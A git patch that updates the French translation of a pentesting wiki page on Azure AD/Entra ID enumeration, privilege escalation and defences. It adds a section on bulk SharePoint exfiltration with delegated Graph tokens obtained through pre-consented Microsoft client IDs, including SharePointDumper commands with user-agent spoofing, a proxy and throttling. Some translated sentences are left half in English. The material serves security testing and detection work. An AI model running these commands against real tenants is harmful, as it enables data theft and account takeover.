From d5c9f98c535ea08b9825800cd213f9b7fa5b6bb3 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 12:17:38 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur --- .../azure-security/az-services/az-azuread.md | 181 +++++++++++++----- 1 file changed, 129 insertions(+), 52 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index fabff2d98..1fce48f07 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,9 +4,9 @@ ## Informations de base -Azure Active Directory (Azure AD) sert de service basé sur le cloud de Microsoft pour la gestion des identités et des accès. Il est essentiel pour permettre aux employés de se connecter et d'accéder aux ressources, tant au sein qu'en dehors de l'organisation, englobant Microsoft 365, le portail Azure et une multitude d'autres applications SaaS. La conception d'Azure AD se concentre sur la fourniture de services d'identité essentiels, incluant principalement **l'authentification, l'autorisation et la gestion des utilisateurs**. +Azure Active Directory (Azure AD) est le service cloud de Microsoft pour la gestion des identités et des accès. Il permet aux employés de se connecter et d'accéder aux ressources, tant au sein de l'organisation qu'à l'extérieur, incluant Microsoft 365, le portail Azure et de nombreuses autres applications SaaS. Azure AD est conçu pour fournir des services d'identité essentiels, notamment **authentification, autorisation et gestion des utilisateurs**. -Les fonctionnalités clés d'Azure AD incluent **l'authentification multi-facteurs** et **l'accès conditionnel**, ainsi qu'une intégration transparente avec d'autres services de sécurité Microsoft. Ces fonctionnalités élèvent considérablement la sécurité des identités des utilisateurs et permettent aux organisations de mettre en œuvre et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème des services cloud de Microsoft, Azure AD est essentiel pour la gestion des identités des utilisateurs basée sur le cloud. +Les fonctionnalités clés d'Azure AD comprennent **authentification multifacteur** et **accès conditionnel**, ainsi qu'une intégration fluide avec d'autres services de sécurité Microsoft. Ces fonctionnalités renforcent significativement la sécurité des identités des utilisateurs et permettent aux organisations de mettre en œuvre et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème de services cloud de Microsoft, Azure AD joue un rôle central dans la gestion cloud des identités utilisateur. ## Énumération @@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds # Connect with access token Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken] +# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token) # Connect with Service principal/enterprise app secret $password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force @@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Lorsque vous **vous connectez** via **CLI** à Azure avec n'importe quel programme, vous utilisez une **Application Azure** d'un **locataire** qui appartient à **Microsoft**. Ces Applications, comme celles que vous pouvez créer dans votre compte, **ont un identifiant client**. Vous **ne pourrez pas les voir toutes** dans les **listes d'applications autorisées** que vous pouvez voir dans la console, **mais elles sont autorisées par défaut**. +Lorsque vous vous **login** via **CLI** sur Azure avec n'importe quel programme, vous utilisez une **Azure Application** d'un **tenant** appartenant à **Microsoft**. Ces Applications, comme celles que vous pouvez créer dans votre compte, **have a client id**. Vous **won't be able to see all of them** dans les **allowed applications lists** que vous pouvez voir dans la console, **mais elles sont autorisées par défaut**. -Par exemple, un **script powershell** qui **s'authentifie** utilise une application avec l'identifiant client **`1950a258-227b-4e31-a9cf-717495945fc2`**. Même si l'application n'apparaît pas dans la console, un administrateur système pourrait **bloquer cette application** afin que les utilisateurs ne puissent pas y accéder en utilisant des outils qui se connectent via cette application. +Par exemple un **powershell script** qui **authenticates** utilise une app avec client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Même si l'app n'apparaît pas dans la console, un sysadmin pourrait **bloquer cette application** afin que les utilisateurs ne puissent pas accéder en utilisant des outils qui se connectent via cette App. -Cependant, il existe **d'autres identifiants clients** d'applications qui **vous permettront de vous connecter à Azure** : +Cependant, il existe **other client-ids** d'applications qui **will allow you to connect to Azure** : ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -226,7 +227,7 @@ az account tenant list ### Utilisateurs -Pour plus d'informations sur les utilisateurs Entra ID, consultez : +Pour plus d'informations sur les utilisateurs Entra ID, consultez : {{#ref}} ../az-basic-information/ @@ -363,15 +364,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA & Conditional Access Policies +### MFA et Conditional Access Policies -Il est fortement recommandé d'ajouter MFA à chaque utilisateur, cependant, certaines entreprises ne le mettront pas en place ou pourraient le configurer avec un accès conditionnel : L'utilisateur sera **tenu de faire MFA si** il se connecte depuis un emplacement spécifique, un navigateur ou **une condition**. Ces politiques, si elles ne sont pas configurées correctement, pourraient être sujettes à des **bypasses**. Vérifiez : +Il est fortement recommandé d'ajouter MFA à chaque utilisateur ; toutefois, certaines entreprises ne l'activent pas ou peuvent le configurer avec un Conditional Access : l'utilisateur sera **MFA requis si** il se connecte depuis un emplacement spécifique, un navigateur ou **une condition**. Ces politiques, si elles ne sont pas correctement configurées, peuvent être sujettes à des **bypasses**. Consultez : {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Groups +### Groupes Pour plus d'informations sur les groupes Entra ID, consultez : @@ -482,21 +483,21 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * #### Ajouter un utilisateur au groupe -Les propriétaires du groupe peuvent ajouter de nouveaux utilisateurs au groupe +Les propriétaires du groupe peuvent ajouter de nouveaux utilisateurs au groupe. ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Les groupes peuvent être dynamiques, ce qui signifie essentiellement que **si un utilisateur remplit certaines conditions, il sera ajouté à un groupe**. Bien sûr, si les conditions sont basées sur des **attributs** qu'un **utilisateur** peut **contrôler**, il pourrait abuser de cette fonctionnalité pour **entrer dans d'autres groupes**.\ -> Vérifiez comment abuser des groupes dynamiques sur la page suivante : +> Les groupes peuvent être dynamiques, ce qui signifie essentiellement que **si un utilisateur remplit certaines conditions il sera ajouté à un groupe**. Bien sûr, si les conditions sont basées sur des **attributs** qu'un **utilisateur** peut **contrôler**, il pourrait abuser de cette fonctionnalité pour **se retrouver dans d'autres groupes**.\ +> Consultez comment abuser des groupes dynamiques sur la page suivante : {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -### Principaux de service +### Service Principals -Pour plus d'informations sur les principaux de service Entra ID, consultez : +Pour plus d'informations sur Entra ID service principals, consultez : {{#ref}} ../az-basic-information/ @@ -601,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
-Listez et essayez d'ajouter un secret client sur chaque application d'entreprise +Lister et tenter d'ajouter un client secret sur chaque Enterprise App ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -714,10 +715,10 @@ Pour plus d'informations sur les Applications, consultez : ../az-basic-information/ {{#endref}} -Lorsqu'une application est générée, 2 types de permissions sont accordées : +Lorsqu'une App est générée, deux types d'autorisations sont accordées : -- **Permissions** accordées au **Service Principal** -- **Permissions** que l'**application** peut avoir et utiliser **au nom de l'utilisateur**. +- **Autorisations** accordées au **Service Principal** +- **Autorisations** que **l'app** peut avoir et utiliser au **nom de l'utilisateur**. {{#tabs }} {{#tab name="az cli" }} @@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92 # Get Cloud Applications Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members" +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` {{#endtab }} @@ -792,21 +820,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> Une application avec la permission **`AppRoleAssignment.ReadWrite`** peut **s'élever au statut d'Administrateur Global** en se donnant le rôle.\ -> Pour plus d'informations [**vérifiez ceci**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). +> Une app avec la permission **`AppRoleAssignment.ReadWrite`** peut **escalate to Global Admin** en se grantant elle-même le rôle.\ +> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Une chaîne secrète que l'application utilise pour prouver son identité lors de la demande d'un jeton est le mot de passe de l'application.\ -> Donc, si vous trouvez ce **mot de passe**, vous pouvez accéder en tant que **service principal** **à l'intérieur** du **locataire**.\ -> Notez que ce mot de passe n'est visible que lors de sa génération (vous pouvez le changer mais vous ne pouvez pas le récupérer).\ -> Le **propriétaire** de l'**application** peut **ajouter un mot de passe** à celle-ci (afin qu'il puisse l'usurper).\ -> Les connexions en tant que ces services principaux ne sont **pas marquées comme risquées** et elles **n'auront pas de MFA.** +> A secret string that the application uses to prove its identity when requesting a token is the application password.\ +> So, if find this **password** you can access as the **service principal** **inside** the **tenant**.\ +> Note that this password is only visible when generated (you could change it but you cannot get it again).\ +> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\ +> Logins as these service principals are **not marked as risky** and they **won't have MFA.** -Il est possible de trouver une liste d'ID d'application couramment utilisés appartenant à Microsoft sur [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) -### Identités Gérées +### Managed Identities -Pour plus d'informations sur les Identités Gérées, consultez : +For more information about Managed Identities check: {{#ref}} ../az-basic-information/ @@ -892,7 +920,7 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/ [!WARNING] -> Si un appareil (VM) est **joint à AzureAD**, les utilisateurs d'AzureAD vont **pouvoir se connecter**.\ -> De plus, si l'utilisateur connecté est **Propriétaire** de l'appareil, il sera **administrateur local**. +> Si un appareil (VM) est **AzureAD joined**, les utilisateurs d'AzureAD vont **pouvoir se connecter**.\ +> De plus, si l'utilisateur connecté est **Owner** de l'appareil, il sera **local admin**. ### Unités administratives @@ -1072,26 +1100,73 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Escalade de privilèges Entra ID +## Exfiltration de données SharePoint déléguée via Microsoft Graph (SharePointDumper) + +Les attaquants disposant d'un **delegated Microsoft Graph token** incluant **`Sites.Read.All`** ou **`Sites.ReadWrite.All`** peuvent énumérer **sites/drives/items** via Graph puis **récupérer le contenu des fichiers** via **SharePoint pre-authentication download URLs** (URLs limitées dans le temps incorporant un access token). Le script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatise le flux complet (énumération → pre-auth downloads) et génère de la télémétrie par requête pour les tests de détection. + +### Obtention de tokens délégués utilisables + +- SharePointDumper lui-même **n'authentifie pas** ; fournissez un access token (éventuellement un refresh token). +- Des **first-party clients** pré-consentis peuvent être abusés pour émettre un Graph token sans enregistrer d'app. Exemple d'appels `Invoke-Auth` (depuis [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations: +```powershell +# CAE requested by default; yields long-lived (~24h) access token +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE) + +# Other pre-consented clients +Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE) +Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE) +Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE) +Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) +``` +> [!NOTE] +> Les clients FOCI TRUE prennent en charge le refresh entre appareils ; les clients FOCI FALSE exigent souvent `-Origin` pour satisfaire la validation de l'origine de la reply URL. + +### Lancer SharePointDumper pour enumeration + exfiltration + +- Dump basique avec UA personnalisée / proxy / throttling : +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' +``` +- Contrôle du périmètre : inclure/exclure des sites ou des extensions et plafonds globaux : +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 +``` +- **Reprendre** les exécutions interrompues (réénumère mais ignore les éléments téléchargés): +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant +``` +- **Rafraîchissement automatique du token sur HTTP 401** (requiert EntraTokenAid chargé): +```powershell +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' +``` +Notes opérationnelles : + +- Préfère les tokens **CAE-enabled** pour éviter une expiration en cours d'exécution ; les tentatives de rafraîchissement ne sont **pas** enregistrées dans le journal API de l'outil. +- Génère des journaux de requêtes **CSV/JSON** pour **Graph + SharePoint** et masque par défaut les tokens de téléchargement SharePoint intégrés (modifiable). +- Prend en charge un **User-Agent** personnalisé, un **HTTP proxy**, un **délai + jitter par requête**, et un arrêt **Ctrl+C-safe** pour la mise en forme du trafic lors des tests de détection/IR. + +## Entra ID Privilege Escalation {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Escalade de privilèges Azure +## Azure Privilege Escalation {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Mécanismes de défense +## Mécanismes défensifs -### Gestion des identités privilégiées (PIM) +### Privileged Identity Management (PIM) -La Gestion des identités privilégiées (PIM) dans Azure aide à **prévenir l'attribution de privilèges excessifs** aux utilisateurs de manière inutile. +Privileged Identity Management (PIM) dans Azure aide à **prévenir l'attribution inutile de privilèges excessifs** aux utilisateurs. -L'une des principales fonctionnalités fournies par PIM est qu'elle permet de ne pas attribuer de rôles à des principaux qui sont constamment actifs, mais de les rendre **éligibles pour une période de temps (par exemple, 6 mois)**. Ensuite, chaque fois que l'utilisateur souhaite activer ce rôle, il doit en faire la demande en indiquant le temps pendant lequel il a besoin du privilège (par exemple, 3 heures). Ensuite, un **administrateur doit approuver** la demande.\ -Notez que l'utilisateur pourra également demander à **prolonger** le temps. +Une des principales fonctionnalités fournies par PIM est qu'il permet de ne pas attribuer de rôles à des principals constamment actifs, mais de les rendre **éligibles pour une période donnée (par ex. 6 mois)**. Ensuite, lorsqu'un utilisateur veut activer ce rôle, il doit en faire la demande en indiquant la durée pour laquelle il a besoin du privilège (par ex. 3 heures). Un **administrateur doit approuver** la demande. +Notez que l'utilisateur pourra aussi demander une **extension** de la durée. De plus, **PIM envoie des e-mails** chaque fois qu'un rôle privilégié est attribué à quelqu'un. @@ -1101,38 +1176,38 @@ Lorsque PIM est activé, il est possible de configurer chaque rôle avec certain - Durée maximale (heures) d'activation - Exiger MFA lors de l'activation -- Exiger un contexte d'authentification d'accès conditionnel +- Exiger le contexte d'authentification Conditional Access - Exiger une justification lors de l'activation -- Exiger des informations sur le ticket lors de l'activation +- Exiger les informations de ticket lors de l'activation - Exiger une approbation pour activer -- Temps maximum pour expirer les attributions éligibles -- Beaucoup plus de configurations sur quand et qui envoyer des notifications lorsque certaines actions se produisent avec ce rôle +- Durée maximale avant expiration des affectations éligibles +- Beaucoup d'autres options de configuration concernant quand et à qui envoyer des notifications lorsque certaines actions se produisent pour ce rôle ### Politiques d'accès conditionnel -Vérifiez : +Voir : {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Protection des identités Entra +### Entra Identity Protection -La Protection des identités Entra est un service de sécurité qui permet de **détecter lorsqu'un utilisateur ou une connexion est trop risqué** pour être accepté, permettant de **bloquer** l'utilisateur ou la tentative de connexion. +Entra Identity Protection est un service de sécurité qui permet de **détecter quand un utilisateur ou une tentative de connexion présente trop de risques** pour être acceptée, permettant d'**bloquer** l'utilisateur ou la tentative de connexion. -Il permet à l'administrateur de le configurer pour **bloquer** les tentatives lorsque le risque est "Faible et au-dessus", "Moyen et au-dessus" ou "Élevé". Cependant, par défaut, il est complètement **désactivé** : +Il permet à l'administrateur de le configurer pour **bloquer** les tentatives lorsque le risque est « Faible et plus », « Moyen et plus » ou « Élevé ». Cependant, par défaut il est complètement **désactivé** :
> [!TIP] -> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques d'accès conditionnel où il est possible de configurer les mêmes options. +> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques Conditional Access où il est possible de configurer les mêmes options. -### Protection par mot de passe Entra +### Entra Password Protection -La Protection par mot de passe Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsque plusieurs tentatives de connexion infructueuses se produisent**.\ -Elle permet également de **interdire une liste de mots de passe personnalisée** que vous devez fournir. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsqu'il y a plusieurs tentatives de connexion infructueuses**. +Elle permet également de **bloquer une liste personnalisée de mots de passe** que vous devez fournir. -Elle peut être **appliquée à la fois** au niveau du cloud et sur Active Directory sur site. +Il peut être **appliqué à la fois** au niveau cloud et à Active Directory sur site. Le mode par défaut est **Audit** : @@ -1141,5 +1216,7 @@ Le mode par défaut est **Audit** : ## Références - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) +- [SharePointDumper](https://github.com/zh54321/SharePointDumper) +- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid) {{#include ../../../banners/hacktricks-training.md}}